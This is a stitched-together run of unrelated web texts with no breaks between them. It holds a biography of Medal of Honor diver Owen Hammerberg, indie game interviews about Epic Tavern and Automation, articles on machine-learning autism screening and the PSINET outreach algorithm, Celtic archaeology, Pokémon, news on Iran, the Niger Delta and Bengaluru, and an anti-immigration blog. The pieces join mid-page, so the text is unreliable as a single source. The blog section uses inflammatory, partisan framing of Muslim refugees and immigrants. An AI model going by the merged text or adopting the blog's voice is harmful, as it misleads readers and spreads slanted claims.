Biography [ edit ]
Hammerberg was born at Daggett, Michigan, May 31, 1920; his family subsequently moved to Flint when he was young. He enlisted in the United States Navy June 16, 1941 and subsequently served in battleship USS Idaho (BB-42) and mine sweeper USS Advent (AM-83). In 1941, he underwent instruction at the Deep Sea Diving School, Washington, D.C., and was assigned duty with the Salvage Unit under Service Force, Pacific Fleet.
He lost his life during rescue operations at Pearl Harbor February 17, 1945. Disregarding all personal danger, he rescued one diver who had been trapped in a cave-in of steel wreckage while tunneling under a sunken LST. After this rescue, Hammerberg went even farther under the buried hulk and, while rescuing a second diver, was pinned down by another cave-in and perished.[1] Boatswain's Mate Hammerberg posthumously received the Medal of Honor.
Namesake [ edit ]
In 1955, the destroyer escort USS Hammerberg (DE-1015) was named for him. A street in Flint and a playground in Detroit are also named Hammerberg in his honor.
Awards [ edit ]
Medal of Honor citation [ edit ]
Hammerberg's official Medal of Honor citation reads:
For conspicuous gallantry and intrepidity at the risk of his life above and beyond the call of duty as a diver engaged in rescue operations at West Loch, Pearl Harbor, 17 February 1945. Aware of the danger when 2 fellow divers were hopelessly trapped in a cave-in of steel wreckage while tunneling with jet nozzles under an LST sunk in 40 feet (12 m) of water and 20 feet (6.1 m) of mud. Hammerberg unhesitatingly went overboard in a valiant attempt to effect their rescue despite the certain hazard of additional cave-ins and the risk of fouling his lifeline on jagged pieces of steel imbedded in the shifting mud. Washing a passage through the original excavation, he reached the first of the trapped men, freed him from the wreckage and, working desperately in pitch-black darkness, finally effected his release from fouled lines, thereby enabling him to reach the surface. Wearied but undaunted after several hours of arduous labor, Hammerberg resolved to continue his struggle to wash through the oozing submarine, subterranean mud in a determined effort to save the second diver. Venturing still farther under the buried hulk, he held tenaciously to his purpose, reaching a place immediately above the other man just as another cave-in occurred and a heavy piece of steel pinned him crosswise over his shipmate in a position which protected the man beneath from further injury while placing the full brunt of terrific pressure on himself. Although he succumbed in agony 18 hours after he had gone to the aid of his fellow divers, Hammerberg, by his cool judgment, unfaltering professional skill and consistent disregard of all personal danger in the face of tremendous odds, had contributed effectively to the saving of his 2 comrades. His heroic spirit of self-sacrifice throughout enhanced and sustained the highest traditions of the U.S. Naval Service. He gallantly gave his life in the service of his country.[2]
See also [ edit ]
They face constrained staff, tight budgets and seemingly insurmountable obstacles in a quest to their far-off dreams. In Hyperkinetic Studios’ case, they have finally reached that dream. What they found at the end of their journey was a tavern with a heck of a lot of character where they could kick up their feet, throw back some mead and finally start ordering everyone else around.
Epic Tavern stepped out of Early Access on Steam Wednesday and into its full launch. It’s a RPG management-style game where you, the player, own a tavern in the world of Beor. You can recruit adventurers, send them on fantastical quests and upgrade your tavern for when they get back. If you want to learn more about the game before jumping in, check out Hyperkinetic’s Twitch channel.
The Daily Walkthrough caught up with Hyperkinetic Studios co-founders Rich Bisso and Tomo Moriwaki to learn more about their new game and what it’s like as an indie studio to produce their first self-styled product. They shared a message with other indie developers and explained future platform and DLC goals.
The interview has been lightly edited for brevity.
TheDW: How’d you come up with the idea for Epic Tavern?
Bisso: I was taking a look around and I saw these different fantasy management games. There was fantasy football, fantasy soccer, baseball, basketball. I thought to myself, ‘Wow, I love management, but I’m kind of a nerd. Why is there no fantasy fantasy?’ That’s the genesis of the idea. I wanted something I could play; manage these teams of adventurers and send them out on quests and read these epic stories that they would be going through and kind of try to help them out along the way. I floated the idea to everyone.
Tomo: I think we came up with a ton of features and a ton of ideas around how things would work, and then at some point it was almost like we magically at some point assumed it would be a tavern. From the fantasy literature and video game list of tropes, all of this stuff intersects at the fantasy tavern. All roads lead to the tavern. The Prancing Pony is maybe the most famous fantasy tavern in the universe.
TheDW: What was the most difficult obstacle to overcome?
Tomo: Overcoming the obstacle of biting off more than you can chew. What we did to get over that was just try to cope with our stress and try really really hard to come up with clever solutions.
Bisso: Basically, just creating a really extensible and efficient way to create a huge amount of narrative for the player. What we ended up doing was creating a pretty unique system that’s kinda like Mad Libs. You can throw any hero into these situations and then the situations draw in context from whatever’s going on in the game.
You could, for instance, have a completely separate team of adventurers; we have these thousands upon thousands of encounters we’ve written out, and basically, you throw your party into this encounter and it’s happening in one part of the world, and then you throw an entirely different party into that encounter in a different part of the world and you get what feels like two completely different encounters. With an effort appropriate to the size of the team we have, we were able to generate a huge amount of content.
Tomo: What he said about the individual streams that get turned into these Mad Libs, that statement is true for the whole game at large. It can be imagined as layers of an onion with each layer being a Mad Lib-like structure that allows for there to be a lot of variety. There’s also a number of very strong, specific threads we put into the storytelling so it’s a sort of shared experience between the AI and our writing staff.
Bisso: Another thing about the method of development that I’ve been really jamming on recently: there’s this concept of a desire path.
Desire paths are what people who do space planning and architecture, they look at a space and essentially, they have an idea when they’re making the space of how everyone is going to travel through it. In reality, humans tend to basically group to different pathways through an environment. There are a lot of architects that will build landscapes and won’t actually path the space.
They’ll sit back and release the space to the public and let the public travel through the space and they see where people are naturally congregating onto paths, and that’s where they finish the paths out. I feel like that is very akin to what we’re trying to do here with Epic Tavern. We’ve built a very strong base for it, and then we’re kind of watching how people take to it and what they like and what they don’t like.
Then, we’re going to start reinforcing and boosting everything they like based on what their desire paths are.
TheDW: Are you planning to keep it PC only?
Bisso: No. We plan on expanding out to other platforms. Some things we’re looking at right now, Mac, obviously. We want to get that out as soon as possible. I’m personally in love with the [Nintendo] Switch, so I think it might work with that.
TheDW: What about your DLC/update plans?
Tomo: We’re kind of grappling with what the week cadence will be and trying to figure out what our development process can handle. The idea is to do it as frequently as we can functionally pull it off. We definitely have big aspirations for DLC into the distant future, provided things work out.
Bisso: The updates are going to be constant content updates, feature updates. And then we’d save big themed updates for the DLC … Our goal is to provide fresh content for the user every single month.
TheDW: What message do you have for other indie developers?
Tomo: Contact us. Let’s talk.
Bisso: Ya, Tomo sums it up right there. The best way to do this is not to do it alone. Reach out to other developers, we’ve definitely done our fair share of that. We couldn’t have got as far as we have and with as few missteps as we have without contacting developers who have already trodden that rode. We’re open. We’re open to helping out. That is the message we’d send to everybody.
Conventionally, children are diagnosed using Autism Diagnostic Interview, Revised (ADI-R) a 93-question survey, and/or the Autism Diagnostic Observation Schedule (ADOS) which measures behavior. The two test can take up to 2.5 hours and must be administered by clinical professionals. Dennis Wall–the lead author of the paper and director of the computational biology initiative at Harvard Medical School–says that “with the rising incidence of Autism parents often have to wait more than a year after initial warning signs and an appointment with a professional for official diagnoses,” and the earlier behavioral interventions start, the better.
Wall and colleagues set out to speed up diagnoses. Using machine learning analysis of ADI-R they found that only 7/93 questions were needed for near accuracy. Applying the same techniques to ADOS, they used an ADTree machine learning algorithm to shorten the test from 29 to 8 steps.
With the refined ADOS after training on one set of data, it classified two other sets of data, correctly diagnosing 334/336 individuals with autism, and with 94% specificity on a collection of observed and simulated non-spectrum controls.
Combined, the changes shorten the tests by nearly 95 percent–from around 2.5 hours to around 8 minutes. What’s more, Wall wants to put these tests online,so that the “caregiver will be able to take the crucial first steps to diagnosis and treatment from the comfort of their own home, and in just a few minutes.” Wall also asks the Autism community to help with the effort, by having the family member of someone clinically diagnosed with autism take an online survey or submit a short video to help verify and improve their tests.
Of course, autism diagnoses like most current psychiatric disorder diagnoses, are somewhat arbitrary in where they draw the line between Autism and Autism-like traits in neurotypical people. The algorithms may have to be adjusted next year with the release of the new psychiatric diagnostic manual, DSM 5.
Hopefully, these new tests will catch on within the psychiatric community increasing access to early diagnoses and early therapy when children’s brains are most plastic. Unfortunately the test only works for children two or older, but in the future functional imaging tests, eye-tracking, or genetic tests may allow earlier diagnoses.
​Thousands of teenagers sleep on the streets every night in Canada, and spreading awareness about how they can avoid contracting viruses like HIV is no easy task. Artificial intelligence could help by singling out teens most likely to influence their peers.
PSINET, the algorithm in question, uses information about the friend networks of homeless youth, collected by staff at shelters, to map their social connections and predict which kids are the most likely to influence their friends.
Relationships between the homeless are likely to be transient and fleeting at times, the algorithm's developers note, making a certain amount of built-in uncertainty about the strength of the relationships in the network necessary for the algorithm to work.
PSINET was developed by researchers at the University of Southern California's School of Social Work, and they presented a paper outlining their approach at last week's Association for the Advancement of Artificial Intelligence conference in Austin, Texas.
HIV, also known as Human Immunodeficiency Virus, attacks the body's immune system and leaves it vulnerable to chronic illnesses. Overall rates of HIV infection among homeless youth in Canada are currently lower overall than other segments of the population, according to a 2014 study by the Ontario HIV Treatment Network (OHTN). However, among First Nations homeless youth, the rates of HIV infection are believed to be much higher.
Regardless of the current rate of infection, homeless youths in Canada may face a high risk of contracting HIV in general, according to the Public Health Agency of Canada, due to risky behaviours like unsafe drug use.
"The algorithm could be very useful."
According to Jean Bacon, Director of Health Policy for the OHTN, PSINET could be useful for Canadian drop-in centers and organizations dedicated to ending homelessness and HIV in the homeless community.
"The algorithm could be very useful in trying to identify the homeless youth who are connected to the greatest number of other youth and who have influence with their peers," Bacon told me. "It could help target prevention programs and get information to the individuals most likely to share it with others."
Two-hundred thousand Canadians experience homelessness every year, and 30,000 are on the street on any given night, according to a widely cited 2013 study by the Canadian Observatory of Homelessness. In addition, 50,000 people are crashing on couches and floors for lack of somewhere—anywhere—else to go. Twenty percent of homeless people in Canada are youth between the ages of 16 and 24.
"HIV and other sexual health education is part of outreach programs for homeless youth," said Bacon. "There's a particular focus on peer-based outreach, which is consistent with the theory behind the algorithm: that youth are best able to reach other youth."
By targeting the youth with the highest odds of influencing their peers about sexual health and HIV safety, the researchers claim that simulations running the algorithm through its paces showed a 60 percent increase in the spread of information over traditional word of mouth campaigns.
"It is a big jump from computer simulations to testing our algorithm with real people."
PSINET hasn't been implemented yet, but the USC researchers are working with My Friend's Place, a youth drop-in center in Los Angeles, to do just that. With simulations as the only evidence for the algorithm's effectiveness so far, a real-world deployment would test its mettle, according to Amulya Yadav, a PhD student in the computer science department at USC who co-authored the algorithm.
"It is a big jump from computer simulations to testing our algorithm with real people," explained Yadav. "We may find out that our algorithm does not account for a real-world complication which we did not think of. This is why it is doubly important to test out our algorithm in the real world with real people."
According to Tobi Cohen, a representative of the Office of the Privacy Commissioner of Canada (OPC), the federal privacy watchdog has no jurisdiction over non-profits, but shelters that adopt predictive algorithms should be wary of privacy best practices—after all, not many people are likely to be stoked on learning that their social networks are being tracked, even to raise awareness. These include acquiring consent from participants and allowing them to challenge the accuracy of the information the algorithm spits out.
“Part of this region (Thrace) was inhabited by the Scordisci … a people formerly cruel and savage…”.
(Ammianus Marcellinus Book 27: iv,4)
Recent archaeological excavations in the vicinity of the village of Desa (Dolj county) in southwestern Romania have yielded 2 Iron age warrior burials, a discovery which has greatly supplemented our knowledge of the Celtic Scordisci tribes which inhabited large areas of Serbia, Bulgaria and Romania in the middle/late Iron Age.
The village of Desa is situated on the Danube and although a large amount of Celtic (Scordisci) warrior burials have been recorded south of the river, especially in western Serbia and northwestern Bulgaria, such discoveries in this part of Romania have hitherto been relatively sparse. Thus the Desa burials are of particular significance.
Round shield umbo from the Scordisci warrior burials at Desa (2nd c. BC)
(Illustrations from the excavations provided by the Desa Archaeological Site)
Material from a Scordisci warrior burial at Montana, northwestern Bulgaria (2nd c. BC)
(See: https://www.academia.edu/5385798/Scordisci_Swords_from_Northwestern_Bulgaria)
The Celtic burials at Desa discovered during the 2013 excavations yielded a wealth of archaeological material which included, besides the cremated remains of the warriors, spearheads, an iron cleaver, shield umbos, nails, buttons/clasps, etc. A H-shaped horse bit discovered beside a round shield umbo, similar to examples found in Scordisci burials at Montana and Pavolche in nearby northwestern Bulgaria, logically indicates that, as in the latter cases, the Desa warriors were Celtic cavalry officers.
Round shield umbo and H-shaped horse bit from the Desa burials (2nd c. BC)
Round Celtic shield umbo from Dalgopol, northeastern Bulgaria (2nd c. BC)
A further interesting discovery from the Desa burials (dated 200-150 BC) was a button fashioned in the form of a miniature shield umbo, also discovered among the warriors remains.
Button in the form of a miniature shield umbo, cremated bone and a nail from the shield umbo found in the Celtic burials
Weapons and other artifacts in situ at the Desa burials
Update: September 2016
A recent find of Balkan Celtic silver tetradrachms discovered in a vineyard near the village of Motoci, also in Dolj district, has provided further evidence of Celtic presence in this area during the period in question (2nd c. BC). The hoard, consisting of 10 tetradrachms, is the latest discovery of this specific type of Celtic coinage to be recorded in southwestern Romania. A further 20 such coins are stored in the local museum in Vâlcea, slightly to the north of Dolj.
The Celtic hoard from Motoci (2nd c. BC)
Mac Congail
Magearna’s real body is the spherical construction in its chest called the Soul-Heart, created by a scientist who gathered the life energy from Pokémon.
Magearna has the ability to transform itself into the appearance of a Poké Ball! It does so when it sleeps, and apparently also when it's sad.
Magearna’s Ability is the Soul-Heart Ability, a new Ability that no previous Pokémon has had. Soul-Heart has the effect of raising Magearna’s Sp. Atk by 1 each time another Pokémon in the area faints. This is a new Ability—one that can be put to good use in battle.
If you use the new QR Scanner function in Pokémon Sun and Pokémon Moon to scan in the corresponding QR Code, you'll be able to obtain the Mythical Pokémon Magearna! Magearna will be a special ally that you can put to work on your behalf in the world of Pokémon Sun and Pokémon Moon.
Iran has reportedly freed Sakineh Mohammadi Ashtiani, the woman sentenced to death by stoning, after global outrage spurred campaigns around the world. The AFP is reporting that a German rights group is claiming she is at home.
"We have got news from Iran that they are free," Mina Ahadi, spokeswoman for the Anti-Stoning Committee, is quoted as saying. According to the Guardian, rumors of the decision have been floating since a televised appearance:
Images from state-run Press TV showed her meeting her son Sajjad at her house in their hometown of Osku in northwestern Iran, boosting supporters' hopes that she had been released. The move came just weeks after Iran signalled for the first time that it might spare the life of Mohammadi Ashtiani, 43, a mother of two who has been in Tabriz prison since 2006 and faced execution by stoning for "having an illicit relationship outside marriage."
In November, Iran's human rights council stated that Ashtiani might be spared, leading to renewed hopes that she would not be killed.
Ashtiani was first sentenced in 2006 for "adultery while being married" and given 99 lashes.
Had the sentence gone as planned, she would have been buried up to her chest and then pelted with stones, according to Amnesty International. The stones should "not be large enough to kill the person by one or two strikes; nor should they be so small that they could not be defined as stones, " according to Iranian law, the group reports.
This sentence was met with revulsion in much of the world, with protests from Italy to Ukraine and an official condemnation from the Vatican.
Militants patrol the creeks of the Niger delta region of Nigeria January 30, 2007. REUTERS/George Esiri
The hostages, two Americans, two Frenchmen, two Indonesians, one Canadian and 12 Nigerians, were freed late on Wednesday after being held by a gang leader known as Obese at a camp in Rivers state.
“We have arrested Obese and some of his boys, more than 50 of them,” Timothy Antigha, a spokesman for the military taskforce which polices the Niger Delta, told Reuters. He would not elaborate, pending a statement to be issued later.
A security source said Obese had been detained with 51 of his followers after a shootout near Bonny in Rivers.
“The military has him and 51 of his boys and is presently transferring the criminals to Port Harcourt in military-escorted gunboats,” said the source, who asked not to be named.
The armed forces have said they have taken over several militant camps in the Niger Delta, the heartland of Africa’s biggest oil and gas industry, and that they will carry out more raids to flush out gang members.
Unrest in the Niger Delta risks undermining the credibility of President Goodluck Jonathan in the run-up to elections next April. Jonathan is the first head of state from the oil region and brokered an amnesty with militants last year.
Key field commanders of the main militant group, the Movement for the Emancipation of the Niger Delta (MEND), accepted the amnesty. At least two, Farah Dagogo and Boyloaf, were instrumental in negotiating the release of the 19 hostages.
But the militants were always factionalised and new leaders have started to emerge, including Obese, a former Dagogo gang member. The military wants to ensure such figures cannot gain a foothold by re-establishing camps in the creeks.
OIL INFRASTRUCTURE EXPOSED
Previous campaigns by MEND fighters have knocked out a significant chunk of Nigeria’s oil production, currently averaging around 2.2 million barrels per day (bpd), and cost it as much as $1 billion a month in lost revenues.
MEND has threatened further attacks but security experts believe a repeat of such a devastating level of unrest is unlikely at this stage, the amnesty and the arrest of several key militant leaders having damaged the group.
It remains impossible to guard oil facilities fully against sabotage and piracy.
Shell declared force majeure on its Bonny Light oil exports on Friday after a pipeline was damaged, freeing it from shipment obligations, though there was no immediate evidence of links to militant activity.
Oil infrastructure in the delta, a network of thousands of shallow creeks opening into the Gulf of Guinea, is extremely exposed with thousands of kilometres (miles) of pipeline passing through remote and thickly forested terrain.
Disputes between local communities and oil firms are common, and attacking a pipeline and shutting down production requires little more than simple home-made explosives.
It is also extremely difficult to protect offshore platforms such as those operated by Exxon Mobil and Afren, from where 15 of the 19 hostages were kidnapped.
“There’s a lot of good guys in the NFL, most of them don’t go out and beat their wives,” Webb said. “And frankly, to the wives and girlfriends out there, don’t hit your husbands.”
RELATED: Fox Guest Host: Ray Rice Would Have Been Punished More if He Hit Gay Man
“You gotta be careful with that line of thinking,” Kennedy warned him. “It’s dangerous. And it can be really insulting, especially to domestic abuse victims.”
“85% of the victims, according to the CDC, of domestic violence are women,” host Harris Faulkner told Webb. “So it’s not the same thing to compare men and women.”
Webb didn’t back down, repeating that violence “shouldn’t happen in either direction.”
Watch the clip below, via Fox News:
[Image via screengrab]
>> Follow Evan McMurry (@evanmcmurry) on Twitter
“From the beginning of Donacleta we paid special attention to detail and focused on branding and quality of materials and components,” says owner Luca Ravelli. “We rely on historic and prestigious brands to guarantee the quality of our products – and that led to us becoming the Colombian distributors for the prestigious Brooks England line of bike accessories.”
When The Pub, a famous Irish pub in Colombia, approached Donacleta to create a special edition bike in celebration of their 15th Anniversary, Luca was thrilled. “The project goal was to develop and build a bike that truly exalted the essence of an authentic Irish Pub,” he explains.
“We had used Walnut Studiolo’s products in the past and we knew right away that we would integrate some of them into this project thanks to the quality of materials and finishes, but also for the strong personality that the bicycle beer combo could bring to our ambitious and funny project. In fact, we designed the key element of the bicycle around your leather six pack holder, based on measurements and shift that it could have carrying six bottles of beer.”
“We worked on this project with love, collaboration and passion – the final product is proof of that. The result was a beautiful, unique and enviable Donacleta, which was raffled by The Pub at their 15th Anniversary Party… after a lot of test rides and some glasses of whisky, of course.”
Luca is a brand designer and from the beginning of Donacleta he has enjoyed combining his love for bicycles, vintage products and brand design to create bespoke custom branded bicycles with a dedication to quality. “We enjoy helping our customers develop strategic social network campaigns to promote and support their marketing initiatives with these special edition Donacleta bikes,” he says.
(Here is my archive on the program. And, I’ll say it again. There are many possible themes for ‘amateur’ investigative bloggers that I’ve been nagging some of you to jump in to over the years including the Diversity Visa Lottery, Temporary Protected Status and immigrant food stamp and medicaid fraud. There is a desperate need for individual bloggers focusing solely on those topics and more every day because we cannot count on the mainstream media to inform us!)
Here is a good summary about Trump and the Diversity Visa Lottery in the wake of this latest Islamic terrorist attack from John Binder at Breitbart.
President Trump could shut this down in a heartbeat with an Executive Order if he so chose. Or, at minimum, add Uzbekistan to the list of countries requiring additional screening.
Binder:
The suspected foreign national terrorist behind the New York City attack that has left at least eight individuals dead came to the United States years ago through the Diversity Visa Lottery, a program that President Trump and pro-American immigration reformers have demanded an end to.
According to ABC New York, 29-year-old Sayfullo Saipov — the man who allegedly mowed down pedestrians in the Tribeca neighborhood of New York City — entered the U.S. in 2010 from Uzbekistan under the Diversity Visa Lottery before obtaining a Green Card.
Just think about this! We haven’t enough diversity in America according to Congress (which has never been able to kill the program) so every year we bring in 50,000 more including from countries that hate us!
The Diversity Visa Lottery gives out 50,000 visas every year to foreign nationals from a multitude of countries, including those with known terrorist problems – such as Afghanistan, Algeria, Egypt, Iraq, Lebanon, Libya, Nigeria, Saudi Arabia, Somalia, Syria, Trinidad and Tobago, Venezuela, Yemen, and Uzbekistan.
Trump, though, along with Sen. Tom Cotton (R-AR) and Sen. David Perdue (R-GA), has been calling for an end to the Diversity Visa Lottery program since August. Under the RAISE Act, introduced in February and endorsed by Trump in August, the Diversity Visa Lottery would be eliminated altogether.
The Trump administration took eliminating the Diversity Visa Lottery even more seriously earlier this month when they introduced the president’s immigration priorities, which like the RAISE Act called for the elimination of the program.
Binder has more, click here.
We do not need to wait for the RAISE Act to kill the Diversity Visa Lottery!
(BTW, I’m not a big fan of the RAISE Act because it doesn’t do enough to reform the UN/US Refugee Admissions Program. Let’s not dither around, let’s have a stand alone bill to kill the Diversity Visa Lottery right now.)
Now let’s talk about Uzbeks who have arrived LEGALLY in the US including through the Refugee Admissions Program.
The poster boy for Uzbek Islamic terrorist refugees is Fazliddin Kurbanov who was convicted of conspiracy to commit terrorism in Idaho in 2015. See here.
And, if you had any doubts about how bad he is, he attempted to kill the California prison warden shortly after arriving to serve his 25-year sentence.
Here is what I reported in May of this year:
For all of the refugee contractors and their groupies busily spreading propaganda that refugees never commit crimes, take note of Muslim Fazliddin Kurbanov who was already in prison, convicted on terrorism charges, and then tried to kill the prison warden a year ago this week!
Where the heck was (is!) the national media on this story?
Unless you read RRW, you may never have known this from KTVB7:
Indictment: Boise man serving terrorism sentence tried to kill prison warden
RIVERSIDE, California — A Boise man who was convicted in 2015 of terrorism-related crimes has been indicted after prosecutors say he attacked the warden at the federal prison where he was held.
Fazliddin Kurbanov, 34, was just months into a 25-year sentence when the attack happened May 31, 2016 at the Federal Correctional Institute in Victorville, California.
He was indicted Wednesday on charges of attempted murder of a federal officer, assault on a federal officer with a deadly or dangerous weapon, and possession by an inmate of a prohibited object intended to be used as a weapon.
According to the U.S. Attorney’s Office, Kurbanov used a prison-made knife to attack Calvin Johnson, seriously injuring him. According to the Amercian Federation of Government Employees, the warden needed more than 80 staples to close wounds on his torso.
Of course we don’t have the full story and my primary questions are: How did he get a knife? And, how did he get close enough to the warden? Were they alone? Was the warden naive or attempting to show the convicted Jihadist how nice he (the warden) was?
Where is Jamshid Muhtorov another Uzbek refugee arrested in 2012 on terrorism charges?
Here is what I said in July of this year:
Recently when I told you about another Uzbek refugee already in prison on terror charges after a guilty verdict in an Idaho trial, here, I wondered what happened to Jamshid Muhtorov who I wrote about in 2012, here.
Before I give you the latest on Muhtorov, the big question remains:
Why were we bringing in this group of known Uzbek troublemakers anyway? Some didn’t even want to be here!
As one of my knowledgeable readers suggests, maybe the reason Muhtorov has not gone to trial yet is that the government might have to reveal why the Bush Administration was taking in Uzbek dissidents as legitimate refugees in the first place!
Isn’t it time for President Trump to force the US State Department and Homeland Security (and the CIA!) to tell us exactly what happened after the 2005 Andijan Uprising in Uzbekistan (a Muslim country where the Muslim factions are fighting each other) and why we admitted some of the trouble makers to the US as refugees?
But that isn’t the end of my Uzbek file! Here are some other posts from over the years where you can learn more about why we should, at minimum, add Uzbekistan to the Trump extreme vetting list:
And do your remember this story from American Thinker? Uzbek wanted to shoot then Senator Lieberman in the face:
Shoot the Jewish Senator in the Face: Not News?
It’s currently under development, but we had to know more about it and thankfully they were kind enough to answer a handful of our questions regarding their forthcoming title. So, if there’s a little Enzo Ferrari in you, be sure to click through to read our entire interview with the development team.
AutoDebut: Tell us a little bit about your team, this is a huge project you’re embarking on so there must be some passionate auto enthusiast on-board.
Andrew: We are basically a 3 person team consisting of myself (Artist), Caswal (Programmer) and Jaye (Game Engine Programmer), we’ve also got a few other talented folks doing some contract work for other aspects like sound recording and user interface art.
I studied 3d Art at the same school where Caswal and Jaye were programming students, and whilst we had known each other for ages we hadn’t really collaborated on anything until Automation.
Me and Caswal are both car enthusiasts from way back, (I’ve got a rather angry 1st Gen MX5/Miata, and he’s just bought a Suzuki Cappuccino of all things!) but we’re both particularly interested in the technical and engineering side of cars.
We had played a lot of games like Railroad Tycoon and enjoyed the strategic sort of gameplay and also enjoyed tuning cars in Forza Motorsport. Basically how it came about was at one point when we had nothing good to play, I was lamenting the fact that there had never been a car company game. We both thought about this for a bit and realized, “Hey, we have the skills to do this, and if nobody else is going to do it, maybe we should!” and so we started work on Automation.
Caswal: What’s wrong with a Cappuccino? Anyway I have always had an interest in cars and motorbikes. My older brother was building various vehicles as I was growing up which always captured my interest. Although I drifted towards computers and programming I always kept an interest in the automotive world. I got a motorcycle as soon as I could afford to do so. It was an old Suzuki RG250, can’t put down a good 2-smoker.
AutoDebut: Can you describe Automation for those that may be unfamiliar with the project?
Andrew: Fundamentally it’s a company management game based around the car industry, it’ll have all the business mechanics associated with the car industry, so you’ll be managing your factories and research, building cars to suit different buyer wants, building the prestige of your brand and dealing with the unique tastes and regulations of different parts of the world.
Where we are spending particular focus is on the designing of cars, in the few games that have attempted this genre before, designing cars has been a very simple affair with little excitement to offer the car enthusiast. We, however, are letting you have a lot more control over the design process. You’ll be spending a lot of time juggling competing requirements, trade offs between power and emissions, safety and weight, and all that sort of thing.
When it comes down to it, Automation is quite a few things really. The phrase I like to use is that its a game for people who “Live and breathe cars”, the kind of people who played Forza or GT5 and wished they could modify cars in more depth, the people who chat with their mates about what cars they would make if they ran Ford or Lamborghini or whatever, its game that hasn’t really been done before and we hope we do the concept justice.
AutoDebut: What type of depth and features can we expect from the engine designer?
Andrew: The engine designer is probably the deepest aspect of the game, and its where a lot of key choices will be made.
You’ll start from the very basics of the engine, choosing a block configuration, bore and stroke dimensions. You’ll choose internal components, valvetrain type and number of valves. You’ll choose how aggressive your cam is, what fuel system you’ll use, and that’s just a quick overview!
From there you test the engine and you will be able to go back and make whatever revisions you like and keep testing it until it fits your requirements.
Whilst it’ll be fairly technical, it will offer ways to make things simple, you’ll be able to use prebuilt engine designs for example. Also every aspect of the design process has clear explanations of its effects and how it functions. In fact, quite a few of our testers have commented that they’ve learned a lot about cars from Automation, particularly the ability to see the parts that you choose in action
AutoDebut: But, it won’t be as easy as throwing the best parts on to produce the most power. Players will have to adhere to emissions, costs, and a list of other factors. Can you elaborate on that for us?
Andrew: Yes, if you were building a supercar it might be a case of building a money-no-object powerhouse of and engine, for most cars you’ll need to balance quite a few aspects.
The aspects that make for a powerful engine will also have downsides such as being less smooth, less economical and louder for example.
Caswal: It’ll be a lot about designing for what you need. If you want to produce an engine for a budget family car, you need to take into account that most people don’t want an engine that you have to thrash to get any usable power. They would prefer an engine with a flat even torque band, good economy, with low vibration and not much noise.
AutoDebut: When it comes to designing the chassis will users experience similar freedom comparative to professional software like Solidworks?
Caswal: Professional software solutions are professional for a reason, you need 100’s if not 1000’s of hours of experience to be a professional. We are always trying to strike a balance between power and usability and one is a trade off for the other. We want to give players enough power to build almost anything they want, and I think we are getting systems that should allow that.
Andrew: Its more or less a case of picking a base chassis size, and construction (for example a “Small Steel Monocoque”) and from there you’ll start choosing engine position, suspension type and all that sort of thing.
We’re also working on a body designer that will hopefully let you do a lot in terms of the visual style of your car designs.
AutoDebut: Once the car is complete will there be any sort of simulation to predict how well the car performs in different areas, for example quarter-mile times, 0-60 mph, handling, etc.?
Andrew: Absolutely, as well as the many “ratings” for different aspects of the car it’ll also have real world stats for many things such as 0-60, power and torque, fuel economy and more.
Caswal: There will be a simulation of some kind, to work out the various parameters for the car. Whether you can watch the car being tested around a say a track, we will have to wait and see if times permits us, it is definitely something we want to do, and have kept it in mind as we have worked on various systems.
AutoDebut: Mazda manufactures some of the best-selling sports cars in the world despite not having the fastest cars on the market. They’re the perfect testament that selling cars in this category is not all about horsepower. With that said, when determining who’s producing the best cars on the game, is that something that will be taken into consideration? More specifically, what are all of the factors that come into play when determining whether “car A” is better than “car B”, and how well each will sale?
Andrew: We’ve got a “buyer engine” that compares the needs and wants of buyers to your cars.
There will be different types of buyers, some might be mega rich and looking for a supercar, some might be looking for a budget family car, you would even get tradesmen looking for vans and pickups.
Depending on the demographics and preferences of the market you’re selling in, there will be different demands for different types of vehicle.
We’ll also be simulating the fact that when presented with a range of cars to choose from a few people will always choose the very worst option (You know how some people actually bought Yugos? Yeah..)
Caswal: Cars are described by a bunch of parameters currently 22. The values for these parameters ‘score’ the car against various car types, such as a hot hatch or an SUV. So for a sports car with handling, acceleration braking are important. A car will still score well as a sports car if it has good handling and braking but mundane acceleration, maybe not as well as a car with better acceleration. This all depends on the cost as the higher the cost the worse the score for that car. The scores are used to proportional distribute the buyers, so people will buy Yugos, just not that many of them if they have a choice not to.
AutoDebut: Thus far what has been the most difficult part in developing such a complex game?
Andrew: The fact that we’ve chosen a quite technical real life subject matter, and one with quite obsessive enthusiasts means we really need to keep the technical detail and accuracy there, but not make it too overwhelming to play.
It’s also quite challenging art wise to make everything modular, such that almost every engine component and care component can fit on anything, and believe me there are a LOT of different parts to choose from, all represented on the car in 3d.
Caswal: Publicizing the game, is by far the most time consuming aspect of development and therefore takes time away from working on the game itself. There is no point sinking all this effort into the game if no-one knows about it. One of the hardest challenges so far has been designing an easy to use, but powerful system for designing car bodies. We have been working on it for the last month or so, we think we have something pretty good now. I hope that people will be surprised, and surprise us with what they can do with it.
AutoDebut: What’s your ultimate goal?
Caswal: To work on Automation, and other projects full time. We currently still have day jobs and Automation takes up almost all of our spare time! Would be nice to be able to have playing with real cars as a hobby again.
Andrew: At the moment we’re just focused on getting Automation done.
If we’re successful enough though, we’ve got plenty of ideas for expansions to Automation, as well as lots of other games all with the same nerdy passion for engineering and mechanical things!
AutoDebut: We know the release date is still TBA, but do you have any thoughts as to what the price point might look like once the game is released?
Caswal: We’re targeting under $25USD and probably cheaper if you preorder.
AutoDebut: Thank you for your time. If you have any closing comments you’d like to make, the floor is yours.
We hope to make a great game for the car nut crowd, but our biggest battle is letting people know we exist, if you’ve got friends who might be interested, let them know about us.
We also would like to mention where you can find us:
automationgame.com
http://twitter.com/#!/AutomationGame
BENGALURU: In a case with a shocking twist, the city police arrested a chain snatcher only to discover during his interrogation that he was working as a contractual health inspector with the Bruhat Bengaluru Mahanagara Palike (BBMP). The accused would snatch chains in order to fund a film that he was directing.
The accused, Rangappa (35) alias Prathap Rangu, was nabbed by Basaveshwar Nagar police on October 28 while he was attempting another robbery. Police said a total of 430 grams gold chains worth Rs 12 lakh were recovered from him. He is a resident of Mahalakshmi Layout near Ashokapuram.
According to the police, Rangappa had snatched chains of women from the areas of Nandini Layout, Soladevanahalli, Rajarajeshwari Nagar and Puttenahalli for at least 7-8 months. A total of 10 cases were lodged against him in different police stations. To nab him, several police teams were formed under DCP (West) M N Anucheth and ACP (Vijaynagar) Parmeshwar Hegde.
Among these, the team formed by the staff of Basaveshwara Nagar under inspector Somashekar G succeeded in catching Rangappa red-handed.
